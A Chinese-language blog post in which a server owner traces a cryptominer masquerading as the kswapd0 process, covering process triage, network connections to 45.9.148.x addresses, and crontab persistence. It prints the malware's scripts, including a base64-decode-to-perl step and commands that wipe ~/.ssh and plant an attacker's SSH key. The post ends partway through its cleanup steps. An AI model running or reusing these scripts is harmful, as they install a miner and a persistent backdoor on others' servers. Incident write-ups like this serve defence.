伪装为kswapd0进程的挖矿木马

一、起因

腾讯云给我发了几封邮件说我的服务器被木马攻击。

image.png

我打开服务器监控一看,闲置的服务器CPU飙升。

image.png

二、排查

2.1 首先查询CPU占用最多的3个进程

查使用内存最多的K个进程

方式一:ps -aux | sort -k3nr | head -K

image.png

sort参数说明:
|选项 |说明
|—————|—————————————————————————
|-n |依照数值的大小排序,不加-n按字符串大小排序
|-r |以相反的顺序来排序
|-t |设置排序时所用的分隔字符
|-k |指定需要排序的列
|-u |去重

方式二:输入 top , 然后输入大写P(输入大写M是按内存倒排)

image.png

最终发现是kswapd0进程在作乱。

2.2 排查kswapd0进程

2.2.1 执行命令netstat -antlp | grep kswapd0 查询该进程的网络信息

[root@VM-0-13-centos etc]# netstat -antlp | grep kswapd0
tcp        0      0 172.17.0.13:55402       45.9.148.129:80         ESTABLISHED 31036/./kswapd0

发现一个与本机端口通信的是一个荷兰的ip。

2.2.2 执行命令netstat -antlp | grep 45.9.148 查询该地区ip的其他网络占用情况

[root@VM-0-13-centos etc]# netstat -antlp | grep 45.9.148
tcp        0      1 172.17.0.13:47182       45.9.148.99:443         SYN_SENT    31000/rsync         
tcp        0      0 172.17.0.13:55402       45.9.148.129:80         ESTABLISHED 31036/./kswapd0

发现还有一个rsync进程在工作。

执行 ps -ef | grep 31000

[root@VM-0-13-centos etc]# ps -ef | grep 31000
root     20734 28364  0 16:22 pts/1    00:00:00 grep --color=auto 31000
cj       31000     1  0 14:20 ?        00:00:00 rsync

确实有这个rsync进程在工作。

2.2.3 查找进程的详细信息

我们来到/proc/目录下查找对应的pid号,即/proc/31000和/proc/31036。可以在这两个目录下找到rsync进程和kswapd0进程的详细信息。

找到启动的脚本如下:

/proc/31000/exe -> /usr/bin/perl
/proc/31036/exe -> /tmp/.X25-unix/.rsync/a/kswapd0

其实应该看看cmdline文件的,但是已经被我删了。

/proc/pid/cmdline 进程启动命令
/proc/pid/cwd 链接到进程当前工作目录
/proc/pid/environ 进程环境变量列表
/proc/pid/exe 链接到进程的执行命令文件
/proc/pid/fd 包含进程相关的所有的文件描述符
/proc/pid/maps 与进程相关的内存映射信息
/proc/pid/mem 指代进程持有的内存,不可读
/proc/pid/root 链接到进程的根目录
/proc/pid/stat 进程的状态
/proc/pid/statm 进程使用的内存的状态
/proc/pid/status 进程状态信息,比stat/statm更具可读性
/proc/self 链接到当前正在运行的进程

2.2.4 在cj用户下查看定时任务 crontab -l

[cj@VM-0-13-centos ~]$ crontab -l
1 1 */2 * * /home/cj/.configrc/a/upd>/dev/null 2>&1
@reboot /home/cj/.configrc/a/upd>/dev/null 2>&1
5 8 * * 0 /home/cj/.configrc/b/sync>/dev/null 2>&1
@reboot /home/cj/.configrc/b/sync>/dev/null 2>&1  
0 0 */3 * * /tmp/.X25-unix/.rsync/c/aptitude>/dev/null 2>&1

还给我起了好多定时启动和重启启动的脚本。

2.2.4.1 查看 /home/cj/.configrc/a/ 目录

看一下upd脚本

#!/bin/sh
cd /home/cj/.configrc/a
  if test -r /home/cj/.configrc/a/bash.pid; then
    pid=$(cat /home/cj/.configrc/a/bash.pid)
    if $(kill -CHLD $pid >/dev/null 2>&1); then
      exit 0
  fi
fi
./run &>/dev/null

在脚本中检查了bash.pid是否存在且可读,如果存在读取该pid并杀死进程,如果杀死成功,则退出脚本,否则执行run脚本;
bash.pid文件作用:1. pid文件的内容:pid文件为文本文件,内容只有一行, 记录了该进程的ID。用cat命令可以看到。2. pid文件的作用:防止进程启动多个副本。只有获得pid文件(固定路径固定文件名)写入权限(F_WRLCK)的进程才能正常启动并把自身的PID写入该文件中。其它同一个程序的多余进程则自动退出。



查看下run脚本

#!/bin/bash
./stop
./init0
sleep 10
pwd > dir.dir
dir=$(cat dir.dir)
ARCH=`uname -m`
        if [ "$ARCH" == "i686" ]; then
                nohup ./anacron >>/dev/null &
        elif [ "$ARCH" == "x86_64" ];   then
                ./kswapd0
        fi
echo $! > bash.pid

如果硬件类型是“i686”的话,就启动./anacron脚本;如果是“x86_64”的话,就启动万恶的kswapd0脚本。

查看下kswapd0脚本


额,打不开,有大佬指点一下吗?

2.2.4.2 查看 /home/cj/.configrc/b/ 目录

查看sync脚本

#!/bin/sh
cd /home/cj/.configrc/b
./run

直接调用run脚本。

查看run脚本

#!/bin/sh
nohup ./stop>>/dev/null &
sleep 5
echo "yw5Ik......RPKjIhWyJCYEAAPzBJXX0=" | base64 --decode | perl
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAB......3K+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh

原文件字符长度有4w多字,文章生成器都是一些密钥信息,将不重要的密钥信息删减了大半。该脚本主要就是将公钥写到.ssh文件中,然后就可以控制计算机了。

三、解决

  1. crontab -e删除木马创建的定时任务。包括/var/spool/cron和/etc/cron.d目录下的定时任务文件也要排查一下。
  2. 删除所有木马创建的文件。主要
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

pxr007

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值